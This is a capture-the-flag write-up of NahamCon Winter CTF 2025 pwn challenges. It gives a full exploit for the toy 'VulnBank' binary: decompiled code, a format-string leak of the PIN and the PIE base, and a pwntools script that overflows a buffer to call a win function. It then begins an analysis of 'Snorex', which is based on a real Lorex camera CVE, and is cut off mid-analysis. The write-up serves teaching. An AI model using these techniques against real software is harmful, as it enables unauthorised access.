NahamCon Winter CTF 2025
NahamCon Winter CTF 2025
Overview
This writeup covers all pwn challenges from NahamCon Winter CTF 2025. The event featured two pwnable challenges:
- VulnBank
- Snorex
VulnBank
Challenge Information
- Difficulty: Medium
- First Blood: 🩸
VulnBank requires chaining multiple vulnerabilities to achieve rip control. The exploit path involves:
- Exploiting a format string vulnerability to leak memory addresses and the authentication PIN
- Using the leaked PIN to bypass authentication
- Triggering a buffer overflow to redirect execution to the win function
Attachments
We are given a zip file which contains the necessary files needed to start the challenge.
1
2
3
4
5
6
7
8
~/Desktop/CTF/NahamconWinter25/VulnBank ❯ zipinfo vuln_bank
Archive: vuln_bank.zip
Zip file size: 6117 bytes, number of entries: 4
drwxr-xr-x 3.0 unx 0 bx stor 25-Dec-15 17:35 vuln_bank/
-rw-r--r-- 3.0 unx 393 tx defN 25-Dec-15 17:34 vuln_bank/Dockerfile
-rwxr-xr-x 3.0 unx 231 tx defN 25-Dec-15 17:34 vuln_bank/start.sh
-rwxr-xr-x 3.0 unx 18488 bx defN 25-Dec-15 17:34 vuln_bank/vulnbank
4 files, 19112 bytes uncompressed, 5451 bytes compressed: 71.5%
After unzipping here’s the content of the:
- Dockerfile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
FROM ubuntu:22.04
RUN apt-get update && apt-get install -y gcc socat && rm -rf /var/lib/apt/lists/*
RUN useradd -m ctf
WORKDIR /home/ctf
COPY vulnbank .
RUN chmod +x vulnbank
ENV FLAG1="flag{now_repeat_against_remote_server}"
ENV FLAG2="flag{now_repeat_against_remote_server}"
EXPOSE 1337
USER ctf
CMD ["socat", "TCP-LISTEN:1337,reuseaddr,fork", "EXEC:./vulnbank,stderr,setsid,sigint"]
- start.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env bash
set -euo pipefail
IMAGE="vulnbank"
CONTAINER="vuln-bank"
docker build -t "$IMAGE" .
docker rm -f "$CONTAINER" >/dev/null 2>&1 || true
docker run \
--rm \
--name "$CONTAINER" \
-p 1337:1337 \
"$IMAGE"
Nothing really much happens, it just simply builds the container and execute the challenge.
Program Analysis
We are given an executable vulnbank.
Checking the file type and enabled protections, we get the following:
1
2
3
4
5
6
7
8
9
10
~/Desktop/CTF/NahamconWinter25/VulnBank/vuln_bank ❯ file vulnbank
vulnbank: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=97f05908fa4be2a289717d0e8860851af4556db1, for GNU/Linux 3.2.0, stripped
~/Desktop/CTF/NahamconWinter25/VulnBank/vuln_bank ❯ checksec vulnbank
[*] '/home/.../Desktop/CTF/NahamconWinter25/VulnBank/vuln_bank/vulnbank'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
We are working with a x86-64 binary which is dynamically linked and stripped.
All protections except Stack Canary are enabled on this binary.
Running it to get an overview of its behaviour:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
~/Desktop/CTF/NahamconWinter25/VulnBank/vuln_bank ❯ ./vulnbank
================================================================
= =
= V U L N B A N K =
= =
= "Because bugs need banks" =
= =
================================================================
_________
/ _______ \
/ / _____ \ \
/ / / \ \ \
/ / / VBNK \ \ \
/ / /_________\ \ \
/_/_____________\_\_\
| [ 0 ] [ 1 ] |
| [ 2 ] [ 3 ] |
| [ 4 ] [ 5 ] |
| [ 6 ] [ 7 ] |
| [ 8 ] [ 9 ] |
|_______________|
Please insert your card into the VulnBank terminal...
Card detected. Reading chip...
================================================================
VULNBANK SECURE LOGIN
================================================================
This terminal uses a 6 digit PIN for access.
Repeated failed attempts may cause your card to be retained.
Enter 6 digit PIN: 1234
1234
Incorrect PIN.
Enter 6 digit PIN: 12
12
Incorrect PIN.
Enter 6 digit PIN: 222
222
Incorrect PIN.
Too many incorrect attempts.
Your card has been retained by this VulnBank terminal.
Please contact support.
So it expects a 6 digits pin, and we have only 3 trials, we can make an assumption that on giving it the right pin we will get logged into the vulnbank portal.
In order to confirm that and identify the vulnerabiities, we need to reverse engineer it.
Reversing 1
Here’s the main function:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall main(int a1, char **a2, char **a3)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
show_banner();
if ( (unsigned int)validate_pin() )
{
sub_19DD();
puts(byte_24C9);
puts("Session ended.");
}
return 0LL;
}
So it disables buffering on stdin, stdout, stderr.
After that it prints the banner and calls the function which handles receiving & validating the pin.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
__int64 generate_random_pin()
{
unsigned int buf; // [rsp+Ch] [rbp-14h] BYREF
ssize_t v2; // [rsp+10h] [rbp-10h]
int fd; // [rsp+1Ch] [rbp-4h]
fd = open("/dev/urandom", 0);
if ( fd < 0 )
{
perror("open");
exit(1);
}
v2 = read(fd, &buf, 4uLL);
if ( v2 != 4 )
{
perror("read");
close(fd);
exit(1);
}
close(fd);
return buf % 0xDBBA0 + 100000;
}
__int64 validate_pin()
{
char s[268]; // [rsp+0h] [rbp-130h] BYREF
int v2; // [rsp+10Ch] [rbp-24h]
size_t pin_len; // [rsp+110h] [rbp-20h]
char *v4; // [rsp+118h] [rbp-18h]
int v5; // [rsp+124h] [rbp-Ch]
unsigned int attempts; // [rsp+128h] [rbp-8h]
unsigned int random_pin; // [rsp+12Ch] [rbp-4h]
random_pin = 0;
attempts = 0;
v5 = 0;
show_prompt();
while ( 1 )
{
if ( attempts > 2 )
{
puts("Too many incorrect attempts.");
puts("Your card has been retained by this VulnBank terminal.");
puts("Please contact support.");
return 0LL;
}
printf("Enter 6 digit PIN: ");
fflush(stdout);
if ( !fgets(s, 256, stdin) )
return 0LL;
pin_len = strlen(s);
if ( pin_len && s[pin_len - 1] == 10 )
s[pin_len - 1] = 0;
if ( v5 || attempts )
{
if ( !v5 )
{
random_pin = generate_random_pin();
v5 = 1;
}
printf(s, random_pin);
puts(byte_24C9);
}
else
{
printf(s);
puts(byte_24C9);
random_pin = generate_random_pin();
v5 = 1;
}
if ( !s[0] )
{
puts("Empty input is not a valid PIN.");
++attempts;
goto LABEL_22;
}
v2 = atoi(s);
if ( v2 == random_pin )
{
if ( attempts )
break;
}
puts("Incorrect PIN.");
++attempts;
LABEL_22:
puts(byte_24C9);
}
puts(byte_24C9);
printf("Welcome back, VulnBank customer #%06u.\n", random_pin % 0xF4240);
puts(byte_24C9);
v4 = getenv("FLAG1");
if ( !v4 || !*v4 )
v4 = "flag{now_repeat_against_remote_server}";
printf("Authentication flag: %s\n", v4);
return 1LL;
}
- It initializes the pin & attempt to null
- It enters a while loop and once attempt is greater than 2, it breaks
- It receives the PIN and null terminates the string
- If v5 or attempts isn’t null it enters another block of code which does this:
- If v5 is null, it generates a new random pin and updates v5 to 1
- Else if the condition isn’t met then it calls printf on the pin string
- If any of the condition isn’t meet (v5 and attempts are zero) it calls printf on the pin string then generates a random pin
- If the first byte of the string is null, it goes to the start of the while loop
- Our pin string is converted to an integer and compared with the generated pin, if it matches and attempts isn’t null it breaks out of the loop else it prints the error message and increments attempts by 1
- Outside the while loop, it reads the environment variable FLAG1 and prints it out
So in order to get the first flag we simply need to get the correct pin which was randomly generated.
Exploitation 1
The vulnerability is a format string bug, when it prints the provided pin, it doesn’t use a format specifier leading to this vuln.
The goal is obvious:
- Since we have 3 attempts
- Use the first one to basically let the pin get initialized because we know that at the second stage it’s going to reuse the first pin since v5 isn’t null.
- Use the second stage to leak the pin
- Third stage to bypass the check and get logged in
One thing to note is also this:
1
printf(s, random_pin);
We’ll use this during the second stage to easily leak the pin
Since random_pin is used as the second parameter, we can use the format specifier %2$d to leak the dword in rsi
Here’s the solve:
1
2
3
4
5
6
7
8
9
def solve():
io.sendlineafter(b":", b"junk")
io.sendlineafter(b":", b"%2$d")
pin = io.recvline().split(b" ")[1]
pin = int(pin)
io.sendline(str(pin).encode())
io.interactive()
Running it works!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
~/Desktop/CTF/NahamconWinter25/VulnBank/vuln_bank ❯ python3 solve.py
[*] '/home/.../Desktop/CTF/NahamconWinter25/VulnBank/vuln_bank/vulnbank'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process '/home/.../Desktop/CTF/NahamconWinter25/VulnBank/vuln_bank/vulnbank': pid 218277
[*] Switching to interactive mode
Incorrect PIN.
Enter 6 digit PIN: 689344
Welcome back, VulnBank customer
Authentication flag: flag{now_repeat_against_remote_server}
================================================================
VULNBANK MAIN MENU
================================================================
Your balance, your choices, our slightly buzzing hardware.
Current available balance: £1337
[1] View balance
[2] Deposit cash
[3] Withdraw cash
[4] View recent activity
[9] Eject card and exit
Select option:
Now we need to do the second part which is getting the FLAG2.
Reversing 2
Moving on to the next step, we now get authenticated and can reach the next function.
Here’s the decompilation:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
void vulnbank_portal()
{
char s[128]; // [rsp+0h] [rbp-B0h] BYREF
__int64 v1; // [rsp+80h] [rbp-30h]
__int64 v2; // [rsp+88h] [rbp-28h]
int v3; // [rsp+94h] [rbp-1Ch]
size_t v4; // [rsp+98h] [rbp-18h]
int v5; // [rsp+A4h] [rbp-Ch]
__int64 v6; // [rsp+A8h] [rbp-8h]
v6 = 1337LL;
v5 = 1;
while ( v5 )
{
sub_13D9();
printf(aCurrentAvailab, v6);
puts(byte_24C9);
sub_143A();
if ( !fgets(s, 128, stdin) )
break;
v4 = strlen(s);
if ( v4 && s[v4 - 1] == 10 )
s[v4 - 1] = 0;
v3 = atoi(s);
switch ( v3 )
{
case 1:
puts(byte_24C9);
puts("----------------------------------------------------------------");
puts(" ACCOUNT BALANCE ");
puts("----------------------------------------------------------------");
printf(aAvailableFunds, v6);
puts("Savings goal: undefined.");
puts("Financial stress: high.");
puts("----------------------------------------------------------------");
break;
case 2:
puts(byte_24C9);
puts("----------------------------------------------------------------");
puts(" DEPOSIT CASH ");
puts("----------------------------------------------------------------");
printf(aEnterAmountToD);
fflush(stdout);
if ( !fgets(s, 128, stdin) )
return;
v1 = strtol(s, 0LL, 10);
if ( v1 <= 0 )
goto LABEL_11;
v6 += v1;
printf(aDeposited, v1);
break;
case 3:
puts(byte_24C9);
puts("----------------------------------------------------------------");
puts(" WITHDRAW CASH ");
puts("----------------------------------------------------------------");
printf(aEnterAmountToW);
fflush(stdout);
if ( !fgets(s, 128, stdin) )
return;
v2 = strtol(s, 0LL, 10);
if ( v2 <= 0 )
{
LABEL_11:
puts("Invalid amount.");
}
else if ( v2 <= v6 )
{
v6 -= v2;
printf(aPleaseCollectY, v2);
}
else
{
puts("Transaction declined: insufficient funds.");
}
break;
case 4:
puts(byte_24C9);
puts("----------------------------------------------------------------");
puts(" RECENT ACTIVITY ");
puts("----------------------------------------------------------------");
puts(a1ContactlessPa);
puts(a2OnlinePurchas);
puts(a3CashWithdrawa);
puts("----------------------------------------------------------------");
break;
default:
if ( v3 )
{
if ( v3 == 9 )
{
puts(byte_24C9);
puts("Ejecting card...");
puts("Please take your card.");
puts("Thank you for using VulnBank.");
v5 = 0;
}
else
{
puts(byte_24C9);
puts("Unrecognized selection. The keypad beeps in confusion.");
}
}
else
{
sub_1659();
}
break;
}
}
}
This function really doesn’t do much and here’s the important thing to work on:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
default:
if ( v3 )
{
if ( v3 == 9 )
{
puts(byte_24C9);
puts("Ejecting card...");
puts("Please take your card.");
puts("Thank you for using VulnBank.");
v5 = 0;
}
else
{
puts(byte_24C9);
puts("Unrecognized selection. The keypad beeps in confusion.");
}
}
else
{
sub_1659();
}
b
Basically if v3 which is the choice we provided is zero it calls the function sub_1659
There’s no switch case that handles 0, looking at the decompilation of the function we get this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int sub_1659()
{
_BYTE buf[72]; // [rsp+0h] [rbp-50h] BYREF
ssize_t v2; // [rsp+48h] [rbp-8h]
puts(byte_24C9);
puts("================================================================");
puts(" VULNBANK SERVICE TERMINAL ");
puts("================================================================");
puts("Service channel open.");
puts("Processing maintenance request from keypad interface.");
puts(byte_24C9);
printf("maintenance> ");
fflush(stdout);
v2 = read(0, buf, 0x80uLL);
if ( v2 <= 0 )
return puts(byte_24C9);
if ( buf[v2 - 1] == 10 )
buf[v2 - 1] = 0;
return puts("Request queued for processing.");
}
There’s also a win function at address offset 0x1575 which has no reference call to it, hence our goal is here.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void __noreturn sub_1575()
{
const char *s; // [rsp+8h] [rbp-8h]
puts(byte_24C9);
puts("================================================================");
puts(" VULNBANK MAINTENANCE MODE ");
puts("================================================================");
puts("Technician override accepted.");
puts("Bypassing customer safeguards, draining internal reserves...");
puts(byte_24C9);
s = getenv("FLAG2");
if ( !s || !*s )
s = "flag{now_repeat_against_remote_server}";
puts(s);
puts(byte_24C9);
puts("All internal cash reserves have been transferred to this session.");
puts("This incident will definitely not be logged. Probably.");
exit(0);
}
Exploitation 2
The vulnerability is yet again obvious, we have a buffer overflow because it reads in at most 0x80 bytes into a buffer that can only hold up 72 bytes of data leading to a 56 bytes overflow.
With this overflow we simply need to overwrite the return address to that of the win function.
In order to do that we need leaks, specifically pie leak.
This is easy to accomplish using the initial format string bug discovered so here’s the new strategy:
- First stage leak pie
- Second stage leak pin
- Third stage authenticate
- Exploit overflow to call the win function
To leak pie we need the offset of where an elf section address is on the stack at the call to printf.
Here’s the stack layout:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
$rcx+ 0x7ffddc956a30|+0x0000|+000: 0x0000007024353425 ('%45$p'?)
0x7ffddc956a38|+0x0008|+001: 0x00007feb34ef86ad <__syscall_cancel+0xd> -> 0xf0003dd06348595a
0x7ffddc956a40|+0x0010|+002: 0x0000000000000001
0x7ffddc956a48|+0x0018|+003: 0x00007feb34ef86ad <__syscall_cancel+0xd> -> 0xf0003dd06348595a
0x7ffddc956a50|+0x0020|+004: 0x0000000000000001
0x7ffddc956a58|+0x0028|+005: 0x00007feb34f6d936 <write+0x16> -> 0x441f0fc318c48348
0x7ffddc956a60|+0x0030|+006: 0x0000000000000001
0x7ffddc956a68|+0x0038|+007: 0x00007feb34f6d936 <write+0x16> -> 0x441f0fc318c48348
0x7ffddc956a70|+0x0040|+008: 0x0000000000000001
0x7ffddc956a78|+0x0048|+009: 0x00007feb34ef45f5 <_IO_file_write+0x25> -> 0xc329482678c08548
0x7ffddc956a80|+0x0050|+010: 0x0000000000000002
0x7ffddc956a88|+0x0058|+011: 0x00007feb34ef45f5 <_IO_file_write+0x25> -> 0xc329482678c08548
0x7ffddc956a90|+0x0060|+012: 0x00007feb3504efd0 <_IO_file_jumps> -> 0x0000000000000000
0x7ffddc956a98|+0x0068|+013: 0x00007feb350515c0 <_IO_2_1_stdout_> -> 0x00000000fbad2887
0x7ffddc956aa0|+0x0070|+014: 0x00007feb3504efd0 <_IO_file_jumps> -> 0x0000000000000000
0x7ffddc956aa8|+0x0078|+015: 0x00007feb35051643 <_IO_2_1_stdout_+0x83> -> 0x0527b0000000000a
0x7ffddc956ab0|+0x0080|+016: 0x0000000000000001
0x7ffddc956ab8|+0x0088|+017: 0x00007feb34ef28d2 <new_do_write+0x52> -> 0x4800000080bbb70f
0x7ffddc956ac0|+0x0090|+018: 0x0000000000000001
0x7ffddc956ac8|+0x0098|+019: 0x000000000000000a
0x7ffddc956ad0|+0x00a0|+020: 0x00007feb350515c0 <_IO_2_1_stdout_> -> 0x00000000fbad2887
0x7ffddc956ad8|+0x00a8|+021: 0x000056272cf87020 <stdout> -> 0x00007feb350515c0 <_IO_2_1_stdout_> -> 0x00000000fbad2887
0x7ffddc956ae0|+0x00b0|+022: 0x00007feb3504efd0 <_IO_file_jumps> -> 0x0000000000000000
0x7ffddc956ae8|+0x00b8|+023: 0x00007feb34ef36f9 <_IO_do_write+0x19> -> 0x0fc0950f5bc33948
0x7ffddc956af0|+0x00c0|+024: 0x00007feb350515c0 <_IO_2_1_stdout_> -> 0x00000000fbad2887
0x7ffddc956af8|+0x00c8|+025: 0x00007feb34ef3c33 <_IO_file_overflow+0x103> -> 0xffff53850ffff883
0x7ffddc956b00|+0x00d0|+026: 0x0000000000000000
0x7ffddc956b08|+0x00d8|+027: 0x000056272cf844c9 -> 0x5000000000000000
0x7ffddc956b10|+0x00e0|+028: 0x00007feb350515c0 <_IO_2_1_stdout_> -> 0x00000000fbad2887
0x7ffddc956b18|+0x00e8|+029: 0x00007feb34ee977a <puts+0x1da> -> 0xfffeb6850ffff883
0x7ffddc956b20|+0x00f0|+030: 0x00007feb350514e0 <_IO_2_1_stderr_> -> 0x00000000fbad2087
0x7ffddc956b28|+0x00f8|+031: 0x00007feb34ee9e70 <setvbuf+0x120> -> 0x1945038b01f88348
0x7ffddc956b30|+0x0100|+032: 0x00007ffddc956c88 -> 0x00007ffddc957f92 -> 0x616d2f656d6f682f '/home/../Desktop/CTF/NahamconWinter25/VulnBank/vuln_bank/vulnb[...]' <- $rbx
0x7ffddc956b38|+0x0108|+033: 0x00007ffddc956b60 -> 0x00007ffddc956b70 -> 0x0000000000000001 <- $rbp
0x7ffddc956b40|+0x0110|+034: 0x0000000000000006
0x7ffddc956b48|+0x0118|+035: 0x00007ffddc956c98 -> 0x00007ffddc957fd6 -> 0x424746524f4c4f43 'COLORFGBG=15;0' <- $r13
0x7ffddc956b50|+0x0120|+036: 0x00000000350b7000
0x7ffddc956b58|+0x0128|+037: 0x0000000000000000
$rbp 0x7ffddc956b60|+0x0130|+038: 0x00007ffddc956b70 -> 0x0000000000000001
0x7ffddc956b68|+0x0138|+039: 0x000056272cf83ebb -> 0x000000b80775c085 <- retaddr[1]
0x7ffddc956b70|+0x0140|+040: 0x0000000000000001
0x7ffddc956b78|+0x0148|+041: 0x00007feb34e92ca8 <__libc_start_call_main+0x78> -> 0xe800018691e8c789 <- retaddr[2]
0x7ffddc956b80|+0x0150|+042: 0x00007ffddc956c70 -> 0x00007ffddc956c78 -> 0x0000000000000038
0x7ffddc956b88|+0x0158|+043: 0x000056272cf83e49 -> 0xdc058b48e5894855
0x7ffddc956b90|+0x0160|+044: 0x000000012cf82040
0x7ffddc956b98|+0x0168|+045: 0x00007ffddc956c88 -> 0x00007ffddc957f92 -> 0x616d2f656d6f682f '/home/.../Desktop/CTF/NahamconWinter25/VulnBank/vuln_bank/vulnb[...]' <- $rbx
0x7ffddc956ba0|+0x0170|+046: 0x00007ffddc956c88 -> 0x00007ffddc957f92 -> 0x616d2f656d6f682f '/home/.../Desktop/CTF/NahamconWinter25/VulnBank/vuln_bank/vulnb[...]' <- $rbx
0x7ffddc956ba8|+0x0178|+047: 0x9c641817c2f4492e
0x7ffddc956bb0|+0x0180|+048: 0x0000000000000000
0x7ffddc956bb8|+0x0188|+049: 0x00007ffddc956c98 -> 0x00007ffddc957fd6 -> 0x424746524f4c4f43 'COLORFGBG=15;0' <- $r13
0x7ffddc956bc0|+0x0190|+050: 0x00007feb350b7000 <_rtld_global> -> 0x00007feb350b8310 -> 0x000056272cf82000 -> ... <- $r14
0x7ffddc956bc8|+0x0198|+051: 0x000056272cf86d58 -> 0x000056272cf831c0 -> 0x3e7d3d80fa1e0ff3 <- $r15
0x7ffddc956bd0|+0x01a0|+052: 0x639fa13d15f6492e
0x7ffddc956bd8|+0x01a8|+053: 0x63b271c59a36492e
0x7ffddc956be0|+0x01b0|+054: 0x0000000000000000
0x7ffddc956be8|+0x01b8|+055: 0x0000000000000000
0x7ffddc956bf0|+0x01c0|+056: 0x0000000000000000
/tmp/gef/gef_print-20251220-135105-ybn32pv1.txt
I opted for this address, as it’s more reliable to leak the return address than some random pie address on the stack.
1
0x7ffddc956b68|+0x0138|+039: 0x000056272cf83ebb -> 0x000000b80775c085 <- retaddr[1]
With this we can calculate the base address and exploit the overflow!
Here’s my solve script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
exe = context.binary = ELF('vulnbank')
context.terminal = ['xfce4-terminal', '--title=GDB', '--zoom=0', '--geometry=128x50+1100+0', '-e']
context.log_level = 'info'
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
gdbscript = '''
init-gef
brva 0x1823
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
def init():
global io
io = start()
def solve():
io.sendlineafter(b":", b"%45$p")
leak = io.recvline().split(b" ")[1]
exe.address = int(leak, 16) - 0x1ebb
info("elf base: %#x", exe.address)
io.sendlineafter(b":", b"%2$d")
pin = io.recvline().split(b" ")[1]
pin = int(pin)
io.sendline(str(pin).encode())
io.sendlineafter(b":", b"0")
offset = 72+8+8
payload = flat({
offset: [
exe.address + 0x001575
]
})
io.sendline(payload)
io.interactive()
def main():
init()
solve()
if __name__ == '__main__':
main()
Running it works!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
~/Desktop/CTF/NahamconWinter25/VulnBank/vuln_bank ❯ python3 solve.py
[*] '/home/.../Desktop/CTF/NahamconWinter25/VulnBank/vuln_bank/vulnbank'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process '/home/.../Desktop/CTF/NahamconWinter25/VulnBank/vuln_bank/vulnbank': pid 259469
[*] elf base: 0x55b6b5302000
[*] Switching to interactive mode
[*] Process '/home/.../Desktop/CTF/NahamconWinter25/VulnBank/vuln_bank/vulnbank' stopped with exit code 0 (pid 259469)
927478
Welcome back, VulnBank customer
Authentication flag: flag{now_repeat_against_remote_server}
================================================================
VULNBANK MAIN MENU
================================================================
Your balance, your choices, our slightly buzzing hardware.
Current available balance: £1337
[1] View balance
[2] Deposit cash
[3] Withdraw cash
[4] View recent activity
[9] Eject card and exit
Select option:
================================================================
VULNBANK SERVICE TERMINAL
================================================================
Service channel open.
Processing maintenance request from keypad interface.
maintenance> Request queued for processing.
================================================================
VULNBANK MAINTENANCE MODE
================================================================
Technician override accepted.
Bypassing customer safeguards, draining internal reserves...
flag{now_repeat_against_remote_server}
All internal cash reserves have been transferred to this session.
This incident will definitely not be logged. Probably.
[*] Got EOF while reading in interactive
And we get the flag 😜
Snorex
Challenge Information
- Difficulty: Advanced
- Based on: LorexExploit
This challenge is based on CVE-2024-52545, which affects the IQ Service running on TCP port 9876. The vulnerability allows an unauthenticated attacker to perform out-of-bounds heap reads. According to the CVE description, this issue was patched in firmware version 2.800.0000000.8.R.20241111.
The exploit chain combines two techniques to achieve authentication bypass:
- Heap feng shui to manipulate heap layout and position target data
- Unauthenticated out-of-bounds heap read to leak the device secret code
- Authentication using leaked secret
Program Analysis
We are given a Dockerfile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
FROM debian:bookworm-slim
RUN apt-get update && apt-get install -y gcc make libc6-dev libssl-dev && rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY snorex_sonia /app/
RUN chmod +x snorex_sonia
ENV SNOREX_SERIAL=FAKEZ-2K-CAM01
ENV SNOREX_MAC=AB:12:4D:7C:20:10
ENV FLAG=flag{now_repeat_against_remote_server}
EXPOSE 3500
CMD ["./snorex_sonia"]
A start.sh file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env bash
set -euo pipefail
IMAGE="snorex"
CONTAINER="snorex"
docker build -t "$IMAGE" .
docker rm -f "$CONTAINER" >/dev/null 2>&1 || true
docker run \
--rm \
--name "$CONTAINER" \
-p 3500:3500 \
"$IMAGE"
And the challenge file snorex_sonic
Looking at the filetype and protections enabled we get this:
1
2
3
4
5
6
7
8
9
10
11
12
~/Desktop/CTF/NahamconWinter25/Snorex ❯ file snorex_sonia
snorex_sonia: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=099466942a10f6753c1177645a57c127b73c86bb, for GNU/Linux 3.2.0, with debug_info, not stripped
~/Desktop/CTF/NahamconWinter25/Snorex ❯ checksec snorex_sonia
[*] '/home/../Desktop/CTF/NahamconWinter25/Snorex/snorex_sonia'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
Debuginfo: Yes
So the binary is not stripped and it has debug info which makes reversing less painful.
All protections are also enabled.
We also see something interesting in the Dockerfile, it sets some environment variable:
1
2
3
ENV SNOREX_SERIAL=FAKEZ-2K-CAM01
ENV SNOREX_MAC=AB:12:4D:7C:20:10
ENV FLAG=flag{now_repeat_against_remote_server}
Running the binary we get this:
1
2
3
~/Desktop/CTF/NahamconWinter25/Snorex ❯ ./snorex_sonia
[snorex] rpc port=3500
[rpc] listening on 3500
It seems to listen on port 3500, connecting to that we don’t get much
1
2
3
4
5
6
7
~/Desktop/CTF/NahamconWinter25/Snorex ❯ nc localhost 3500
asdf
pe
~/Desktop/CTF/NahamconWinter25/Snorex ❯ nc localhost 3500
pew
hi
leoo
Reversing
Loading the binary up in IDA, here’s the main function
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // ebx
__pid_t v4; // eax
pthread_t th; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v7; // [rsp+8h] [rbp-18h]
v7 = __readfsqword(0x28u);
load_config();
v3 = time(0LL);
v4 = getpid();
srand(v4 ^ v3 ^ (2 * g_cfg.ts));
if ( pthread_create(&th, 0LL, (void *(*)(void *))rpc_server_thread, 0LL) )
{
perror("pthread_create");
return 1;
}
else
{
pthread_join(th, 0LL);
return 0;
}
}
We see the main function first calls the load_config function:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void __cdecl load_config()
{
char *s; // [rsp+0h] [rbp-10h]
char *m; // [rsp+8h] [rbp-8h]
g_cfg.port = 3500;
s = getenv("SNOREX_SERIAL");
if ( !s || !*s )
s = "FAKEZ-2K-CAM01";
strncpy(g_cfg.serial, s, 0xFuLL);
m = getenv("SNOREX_MAC");
if ( !m || !*m )
m = "AB:12:4D:7C:20:10";
strncpy(g_cfg.mac, m, 0x11uLL);
pthread_mutex_lock(&g_usr_mutex);
g_usr_ctx.encrypt_data = usrMgr_getEncryptDataStr();
pthread_mutex_unlock(&g_usr_mutex);
fprintf(stderr, "[snorex] rpc port=%u\n", g_cfg.port);
}
This updates the g_cfg struct fields to the necessary values:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
00000000 struct __attribute__((aligned(2))) SONIA_CONFIG // sizeof=0x38
00000000 { // XREF: .bss:g_cfg/r
00000000 uint16_t port; // XREF: rpc_server_thread+B2/r
00000000 // rpc_server_thread:loc_2076/r ...
00000002 char serial[16]; // XREF: usrMgr_getEncryptDataStr+103/o
00000002 // load_config+4D/o
00000012 char mac[18]; // XREF: usrMgr_getEncryptDataStr+F9/o
00000012 // load_config+98/o
00000024 uint32_t ts; // XREF: refresh_secrets+13/w
00000024 // refresh_secrets:loc_152C/r ...
00000028 uint8_t rand_bytes[15]; // XREF: refresh_secrets+23/o
00000028 // refresh_secrets+5C/o ...
00000037 // padding byte
00000038 };
00000000 struct USR_MGR_CTX // sizeof=0x8
00000000 { // XREF: .bss:g_usr_ctx/r
00000000 USR_MGR_ENCRYPT_DATA *encrypt_data; // XREF: PasswdFind_getAuthCode+31/r
00000000 // handle_auth+57/r ...
00000008 };
00000000 struct USR_MGR_ENCRYPT_DATA // sizeof=0x108
00000000 {
00000000 char tag[8];
00000008 char encrypt_str[256];
00000108 };
Essentially it setups the camera serial name, mac address and finally the encrypted data.
This binary deals with concurrency since it’s multi-threaded hence it ensures to lock mutexes when it accesses global shared memory so i’ll be skipping any thread related functions unless necessary.
